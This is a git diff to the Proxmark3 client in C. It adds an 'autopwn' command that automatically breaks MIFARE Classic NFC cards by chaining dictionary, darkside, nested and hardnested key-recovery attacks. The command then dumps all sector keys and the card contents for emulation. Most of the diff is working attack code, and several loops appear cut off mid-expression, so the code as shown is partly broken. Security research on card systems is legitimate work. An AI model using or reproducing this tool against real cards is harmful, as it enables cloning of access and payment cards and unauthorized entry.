diff --git a/CHANGELOG.md b/CHANGELOG.md index b8434cc84..253d981f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - + - Add autopwn command to break mifare classic cards completely automatic (breaks all sector keys and dumps them and the card content) - Add Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) - Change Lua directory scripts/ to luascript/ (@doegox) - Change non-rdv4 PLATFORM must now use the generic PM3OTHER, simpler (@doegox) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index afb369de3..003fa0cf2 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -166,6 +166,44 @@ static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, " hf mf hardnested 0 A A0A1A2A3A4A5 4 A FFFFFFFFFFFF"); return 0; } +static int usage_hf14_autopwn(void) { + PrintAndLogEx(NORMAL, "Usage:"); + PrintAndLogEx(NORMAL, " hf mf autopwn [k] "); + PrintAndLogEx(NORMAL, " [*] [f] .dic [s] [i] [l] [v]"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Description:"); + PrintAndLogEx(NORMAL, " This command is used to automate the attack process on mifare classic nfc cards."); + PrintAndLogEx(NORMAL, " The program tries to identify the prng type and then automatically attack it with the best algorithm."); + PrintAndLogEx(NORMAL, " After the program is done, the keys and card data is dumped."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " k if a known key for a block is supplied"); + PrintAndLogEx(NORMAL, " f .dic dictionary file for key discovery (the file has to end in .dic) max 2000 entries allowed"); + PrintAndLogEx(NORMAL, " s slower acquisition (required by some non standard cards) for hardnested"); + PrintAndLogEx(NORMAL, " v verbose output (statistcs)"); + PrintAndLogEx(NORMAL, " l legacy mode (use the slow mfchk for the key enumeration)"); + PrintAndLogEx(NORMAL, " * all sectors based on card memory, other values then below defaults to 1k"); + PrintAndLogEx(NORMAL, " * 0 = MINI(320 bytes)"); + PrintAndLogEx(NORMAL, " * 1 = 1K"); + PrintAndLogEx(NORMAL, " * 2 = 2K"); + PrintAndLogEx(NORMAL, " * 4 = 4K"); + PrintAndLogEx(NORMAL, " i set type of SIMD instructions. Without this flag programs autodetect it. (for hardnested)"); + PrintAndLogEx(NORMAL, " i 5 = AVX512"); + PrintAndLogEx(NORMAL, " i 2 = AVX2"); + PrintAndLogEx(NORMAL, " i a = AVX"); + PrintAndLogEx(NORMAL, " i s = SSE2"); + PrintAndLogEx(NORMAL, " i m = MMX"); + PrintAndLogEx(NORMAL, " i n = none (use CPU regular instruction set)"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf mf autopwn"); + PrintAndLogEx(NORMAL, " hf mf autopwn * 1 f default_keys"); + PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF * 1 f default_keys"); + PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF * 4 i 5"); + return 0; +} static int usage_hf14_chk(void) { PrintAndLogEx(NORMAL, "Usage: hf mf chk [h] |<*card memory> [t|d] [] []"); PrintAndLogEx(NORMAL, "Options:"); @@ -1530,6 +1568,547 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { return 0; } + +static int CmdHF14AMfAutoPWN(const char *Cmd) { + // Nested and Hardnested parameter + uint8_t blockNo = 0; + uint8_t keyType = 0; + uint8_t key[6] = {0}; + uint64_t key64 = 0; + bool calibrate = true; + // Attack key storage variables + uint8_t *keyBlock; + uint16_t key_cnt = 0; + sector_t *e_sector; + uint8_t sectors_cnt = MIFARE_1K_MAXSECTOR; + int block_cnt = MIFARE_1K_MAXBLOCK; + uint8_t tmp_key[6] = {0}; + size_t data_length = 0; + bool know_target_key = false; + // For the timier + uint64_t t1; + // Parameters and dictionary file + char filename[FILE_PATH_SIZE] = {0}; + uint8_t cmdp = 0; + char ctmp; + // Nested and Hardnested returned status + uint64_t foundkey = 0; + int16_t isOK = 0; + // Loop counter + int i, i2, i3; + int current_sector_i = 0, current_key_type_i = 0; + // Dumping and transfere to simulater memory + uint8_t block[16] = {0x00}; + uint8_t *dump; + int bytes; + char* fnameptr = filename; + // Settings + bool slow = false; + bool legacy_mfchk = false; + bool prng_type = false; + bool verbose = false; + int max_dictionary_size = 2000; + + // Parse the options given by the user + ctmp = tolower(param_getchar(Cmd, 0)); + while ((ctmp = param_getchar(Cmd, cmdp))) { + switch (tolower(ctmp)) { + case 'h': + return usage_hf14_autopwn(); + case 'f': + if (param_getstr(Cmd, cmdp +1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) { + PrintAndLogEx(FAILED, "Filename too long"); + } + cmdp ++; + break; + case 'l': + legacy_mfchk = true; + break; + case 'v': + verbose = true; + break; + case '*': + // Get the number of sectors + sectors_cnt = NumOfSectors(param_getchar(Cmd, cmdp + 1)); + block_cnt = NumOfBlocks(param_getchar(Cmd, cmdp + 1)); + cmdp ++; + break; + case 'k': + // Get the known block number + if (param_getchar(Cmd, cmdp + 1) == 0x00) { + PrintAndLogEx(WARNING, "Sector number is missing"); + return 1; + } + blockNo = param_get8(Cmd, cmdp + 1); + // Get the knonwn block type + ctmp = tolower(param_getchar(Cmd, cmdp + 2)); + if (ctmp != 'a' && ctmp != 'b') { + PrintAndLogEx(WARNING, "Key type must be A or B"); + return 1; + } + if (ctmp != 'a') { + keyType = 1; + } + // Get the known block key + if (param_gethex(Cmd, cmdp + 3, key, 12)) { + PrintAndLogEx(WARNING, "Key must include 12 HEX symbols"); + return 1; + } + know_target_key = true; + cmdp += 3; + case 's': + slow = true; + break; + case 'i': + SetSIMDInstr(SIMD_AUTO); + ctmp = tolower(param_getchar(Cmd, cmdp + 1)); + switch (ctmp) { + case '5': + SetSIMDInstr(SIMD_AVX512); + break; + case '2': + SetSIMDInstr(SIMD_AVX2); + break; + case 'a': + SetSIMDInstr(SIMD_AVX); + break; + case 's': + SetSIMDInstr(SIMD_SSE2); + break; + case 'm': + SetSIMDInstr(SIMD_MMX); + break; + case 'n': + SetSIMDInstr(SIMD_NONE); + break; + default: + PrintAndLogEx(WARNING, "Unknown SIMD type. %c", ctmp); + return 1; + } + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'\n", ctmp); + usage_hf14_hardnested(); + return 1; + } + cmdp++; + } + + // Create the key storage stucture + e_sector = calloc(sectors_cnt, sizeof(sector_t)); + if (e_sector == NULL) return PM3_EMALLOC; + // Clear the key storage datastructure + for (i=0; i just be nice and correct it ;) + if (know_target_key == false) { + num_to_bytes(e_sector[i].Key[i2], 6, key); + know_target_key = true; + blockNo = i; keyType = i2; + PrintAndLogEx(SUCCESS, "[ SETTINGS ] The following key will be used for the nested / hardnested attack: sector:" + _RED_("%3d") " key type:"_RED_("%c") " key: " _RED_("0x%02x%02x%02x%02x%02x%02x"), + blockNo, + keyType ? 'B' : 'A', + key[0], key[1], key[2], key[3], key[4], key[5]); + } + } + } + } + } + } + + // Load the dictionary + if (strlen(filename) != 0) { + keyBlock = calloc(6 * max_dictionary_size, sizeof(uint8_t)); + loadFileDICTIONARY(filename, keyBlock, &data_length, 6, &key_cnt); + if ((data_length / 6) > max_dictionary_size) { + // This is not a good solution (loadFileDICTIONARY needs a maxdatalen)! + PrintAndLogEx(FAILED, "The loaded dictionary is too large: %d (allowed: %d)", data_length, max_dictionary_size); + free(keyBlock); // This won't work too well, because data on the stack is already overflown !!! + free(e_sector); + return 1; + } + } else { + keyBlock = calloc(ARRAYLEN(g_mifare_default_keys), 6); + if (keyBlock == NULL) { + free(e_sector); + return 1; + } + + for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) { + num_to_bytes(g_mifare_default_keys[cnt], 6, keyBlock + cnt * 6); + } + key_cnt = ARRAYLEN(g_mifare_default_keys); + } + + // Start the timer + t1 = msclock(); + + // Use the dictionary to find sector keys on the card + PrintAndLogEx(INFO, "Enumerating the card keys with the dictionary!"); + if (legacy_mfchk) { + // Check all the sectors + for (i=0; i (PM3_CMD_DATA_SIZE / 6) ? (PM3_CMD_DATA_SIZE / 6) : key_cnt; + bool firstChunk = true, lastChunk = false; + for (uint8_t strategy = 1; strategy < 3; strategy++) { + PrintAndLogEx(INFO, "Running strategy %u", strategy); + // main keychunk loop + for (i = 0; i < key_cnt; i += chunksize) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); + i = key_cnt; strategy = 3; break; // Exit the loop + } + uint32_t size = ((key_cnt - i) > chunksize) ? chunksize : key_cnt - i; + // last chunk? + if (size == key_cnt - i) + lastChunk = true; + int res = mfCheckKeys_fast(sectors_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); + if (firstChunk) + firstChunk = false; + // all keys, aborted + if (res == 0 || res == 2) { + i = key_cnt; strategy = 3; break; // Exit the loop + } + } // end chunks of keys + firstChunk = true; + lastChunk = false; + } // end strategy + } + + // Analyse the dictionary attack + for (i=0; i The fast check --> mfCheckKeys_fast(sectors_cnt, true, true, 2, 1, tmp_key, e_sector, false); + // Returns false keys, so we just stick to the slower mfchk. + for (i=0; i try hardnested instead!"); + goto tryHardnested; + break; + case -4 : //key not found + calibrate = false; + PrintAndLogEx(FAILED, "Nested attack failed --> try hardnested instead!"); + goto tryHardnested; + break; + case -5 : + calibrate = false; + e_sector[current_sector_i].Key[current_key_type_i] = bytes_to_num(tmp_key, 6); + e_sector[current_sector_i].foundKey[current_key_type_i] = 5; + break; + default : + PrintAndLogEx(ERR, "unknown Error.\n"); + free(e_sector); + return 1; + break; + } + } else { + tryHardnested: // If the nested attack failes then we try the hardnested attack + PrintAndLogEx(INFO, "[ HARDNESTED ] Sector no:%3d, target key type:%c, Slow: %s", + current_sector_i, + current_key_type_i ? 'B' : 'A', + slow ? "Yes" : "No"); + + isOK = mfnestedhard(FirstBlockOfSector(blockNo), keyType, key, FirstBlockOfSector(current_sector_i), current_key_type_i, NULL, false, false, slow, 0, &foundkey, NULL); + DropField(); + if (isOK) { + switch (isOK) { + case 1 : + PrintAndLogEx(ERR, "\nError: No response from Proxmark3."); + break; + case 2 : + PrintAndLogEx(NORMAL, "\nButton pressed. Aborted."); + break; + default : + break; + } + free(e_sector); + return 2; + } + + // Copy the found key to the tmp_key variale (for the following print statement, and the mfCheckKeys above) + num_to_bytes(foundkey, 6, tmp_key); + e_sector[current_sector_i].Key[current_key_type_i] = foundkey; + e_sector[current_sector_i].foundKey[current_key_type_i] = 6; + } + // Check if the key was found + if (e_sector[current_sector_i].foundKey[current_key_type_i] != 0) { + PrintAndLogEx(SUCCESS, "[BROCKEN KEY] Valid KEY FOUND: sector:%3d key type:%c key: " _YELLOW_("0x%02x%02x%02x%02x%02x%02x"), + current_sector_i, + current_key_type_i ? 'B' : 'A', + tmp_key[0], tmp_key[1], tmp_key[2], tmp_key[3], tmp_key[4], tmp_key[5]); + } else { + PrintAndLogEx(FAILED, "[BROCKEN KEY] Valid KEY NOT FOUND: sector:%3d key type:%c key: " _YELLOW_("0x%02x%02x%02x%02x%02x%02x"), + current_sector_i, + current_key_type_i ? 'B' : 'A', + tmp_key[0], tmp_key[1], tmp_key[2], tmp_key[3], tmp_key[4], tmp_key[5]); + } + } + } + } + } + + // Show the results to the user + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Found Keys:"); + printKeyTable(sectors_cnt, e_sector); + if (verbose) { + PrintAndLogEx(INFO, "[ INFO ] Key res types:"); + PrintAndLogEx(INFO, " 1: Dictionary"); + PrintAndLogEx(INFO, " 2: Darkside attack"); + PrintAndLogEx(INFO, " 3: User supplied"); + PrintAndLogEx(INFO, " 4: Reused"); + PrintAndLogEx(INFO, " 5: Nested"); + PrintAndLogEx(INFO, " 6: Hardnested"); + } + + // Transfere the found keys to the simulator and dump the keys and card data + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Dumping the keys:"); + createMfcKeyDump(sectors_cnt, e_sector, GenerateFilename("hf-mf-", "-key.bin")); + + PrintAndLogEx(SUCCESS, "Transfering the found keys to the simulator memory (Cmd Error: 04 can occour, but this shouldn't be a problem)"); + for (current_sector_i=0; current_sector_i < sectors_cnt; current_sector_i++) { + mfEmlGetMem(block, current_sector_i, 1); + if (e_sector[current_sector_i].foundKey[0]) + num_to_bytes(e_sector[current_sector_i].Key[0], 6, block); + if (e_sector[current_sector_i].foundKey[1]) + num_to_bytes(e_sector[current_sector_i].Key[1], 6, block + 10); + mfEmlSetMem(block, FirstBlockOfSector(current_sector_i) + NumBlocksPerSector(current_sector_i) - 1, 1); + } + + clearCommandBuffer(); + SendCommandMIX(CMD_HF_MIFARE_EML_LOAD, sectors_cnt, 0, 0, NULL, 0); + clearCommandBuffer(); + SendCommandMIX(CMD_HF_MIFARE_EML_LOAD, sectors_cnt, 1, 0, NULL, 0); + + bytes = block_cnt * MFBLOCK_SIZE; + dump = calloc(bytes, sizeof(uint8_t)); + if (!dump) { + PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + free(e_sector); + return PM3_EMALLOC; + } + memset(dump, 0, bytes); + + PrintAndLogEx(INFO, "Downloading the card content from emulator memory"); + if (!GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false)) { + PrintAndLogEx(WARNING, "Fail, transfer from device time-out"); + free(e_sector); + free(dump); + return PM3_ETIMEOUT; + } + + fnameptr += sprintf(fnameptr, "hf-mf-"); + FillFileNameByUID(fnameptr, dump, "-dump", 4); + + saveFile(filename, ".bin", dump, bytes); + saveFileEML(filename, dump, bytes, MFBLOCK_SIZE); + saveFileJSON(filename, jsfCardMemory, dump, bytes); + + // Generate and show statistics + t1 = msclock() - t1; + PrintAndLogEx(INFO, "Required time for the autopwn attack: " _YELLOW_("%.0f") " seconds", (float)t1 / 1000.0); + + free(dump); + free(e_sector); + return 0; +} + /* static int randInRange(int min, int max) { return min + (int)(rand() / (double)(RAND_MAX) * (max - min + 1)); @@ -1563,7 +2142,6 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { char filename[FILE_PATH_SIZE] = {0}; char buf[13]; char *fptr; - uint8_t tempkey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; uint8_t *keyBlock, *p; uint8_t sectorsCnt = 1; int i, keycnt = 0; @@ -1784,30 +2362,7 @@ out: if (createDumpFile) { fptr = GenerateFilename("hf-mf-", "-key.bin"); - if (fptr == NULL) - return 1; - - FILE *fkeys = fopen(fptr, "wb"); - if (fkeys == NULL) { - PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fptr); - free(keyBlock); - free(e_sector); - return 1; - } - PrintAndLogEx(SUCCESS, "Printing keys to binary file " _YELLOW_("%s")"...", fptr); - - for (i = 0; i < sectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[0], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } - - for (i = 0; i < sectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[1], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } - - fclose(fkeys); - PrintAndLogEx(SUCCESS, "Found keys have been dumped to " _YELLOW_("%s")" --> 0xffffffffffff has been inserted for unknown keys.", fptr); + createMfcKeyDump(sectorsCnt, e_sector, fptr); } } @@ -1833,7 +2388,6 @@ static int CmdHF14AMfChk(const char *Cmd) { uint8_t keyType = 0; uint32_t keyitems = ARRAYLEN(g_mifare_default_keys); uint64_t key64 = 0; - uint8_t tempkey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; char *fptr; int clen = 0; int transferToEml = 0; @@ -2098,31 +2652,7 @@ out: if (createDumpFile) { fptr = GenerateFilename("hf-mf-", "-key.bin"); - if (fptr == NULL) { - free(keyBlock); - free(e_sector); - return PM3_EFILE; - } - - FILE *fkeys = fopen(fptr, "wb"); - if (fkeys == NULL) { - PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fptr); - free(keyBlock); - free(e_sector); - return PM3_EFILE; - } - PrintAndLogEx(INFO, "Printing keys to binary file " _YELLOW_("%s")"...", fptr); - - for (i = 0; i < SectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[0], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } - for (i = 0; i < SectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[1], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } - fclose(fkeys); - PrintAndLogEx(SUCCESS, "Found keys have been dumped to file " _YELLOW_("%s")". 0xffffffffffff has been inserted for unknown keys.", fptr); + createMfcKeyDump(SectorsCnt, e_sector, fptr); } free(keyBlock); @@ -3658,6 +4188,7 @@ static command_t CommandTable[] = { {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack. read parity error messages."}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack. Test nested authentication"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened Mifare cards"}, + {"autopwn", CmdHF14AMfAutoPWN, AlwaysAvailable, "Automatic attack tool, to extrackt the nfc keys (with dicrionaries, nested and hardnested attacks)"}, {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"}, {"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for Mifare NACK bug"}, {"chk", CmdHF14AMfChk, IfPm3Iso14443a, "Check keys"}, diff --git a/client/fileutils.c b/client/fileutils.c index 83744cc6f..37f5e10c6 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -311,6 +311,36 @@ out: return retval; } +int createMfcKeyDump(uint8_t sectorsCnt, sector_t *e_sector, char* fptr) { + uint8_t tmpKey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + int i; + + if (fptr == NULL) { + return 1; + } + + FILE *fkeys = fopen(fptr, "wb"); + if (fkeys == NULL) { + PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fptr); + return 1; + } + PrintAndLogEx(SUCCESS, "Printing keys to binary file " _YELLOW_("%s")"...", fptr); + + for (i = 0; i < sectorsCnt; i++) { + num_to_bytes(e_sector[i].Key[0], 6, tmpKey); + fwrite(tmpKey, 1, 6, fkeys); + } + + for (i = 0; i < sectorsCnt; i++) { + num_to_bytes(e_sector[i].Key[1], 6, tmpKey); + fwrite(tmpKey, 1, 6, fkeys); + } + + fclose(fkeys); + PrintAndLogEx(SUCCESS, "Found keys have been dumped to " _YELLOW_("%s")" --> 0xffffffffffff has been inserted for unknown keys.", fptr); + return 0; +} + int loadFile(const char *preferredName, const char *suffix, void *data, size_t maxdatalen, size_t *datalen) { if (data == NULL) return 1; diff --git a/client/fileutils.h b/client/fileutils.h index eea3329c5..25fe0a885 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -47,6 +47,7 @@ #include "ui.h" #include "emv/emvjson.h" #include "mifare/mifare4.h" +#include "mifare/mifarehost.h" #include "cmdhfmfu.h" typedef enum { @@ -102,6 +103,16 @@ int saveFileEML(const char *preferredName, uint8_t *data, size_t datalen, size_t */ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen); +/** + * @brief Utility function to save a keydump. + * + * @param sectorsCnt the used sectors + * @param e_sector the keys in question + * @param fptr string pointer to the filename + * @return 0 for ok, 1 for failz + */ +int createMfcKeyDump(uint8_t sectorsCnt, sector_t *e_sector, char* fptr); + /** STUB * @brief Utility function to load data from a binary file. This method takes a preferred name. * E.g. dumpdata-15.bin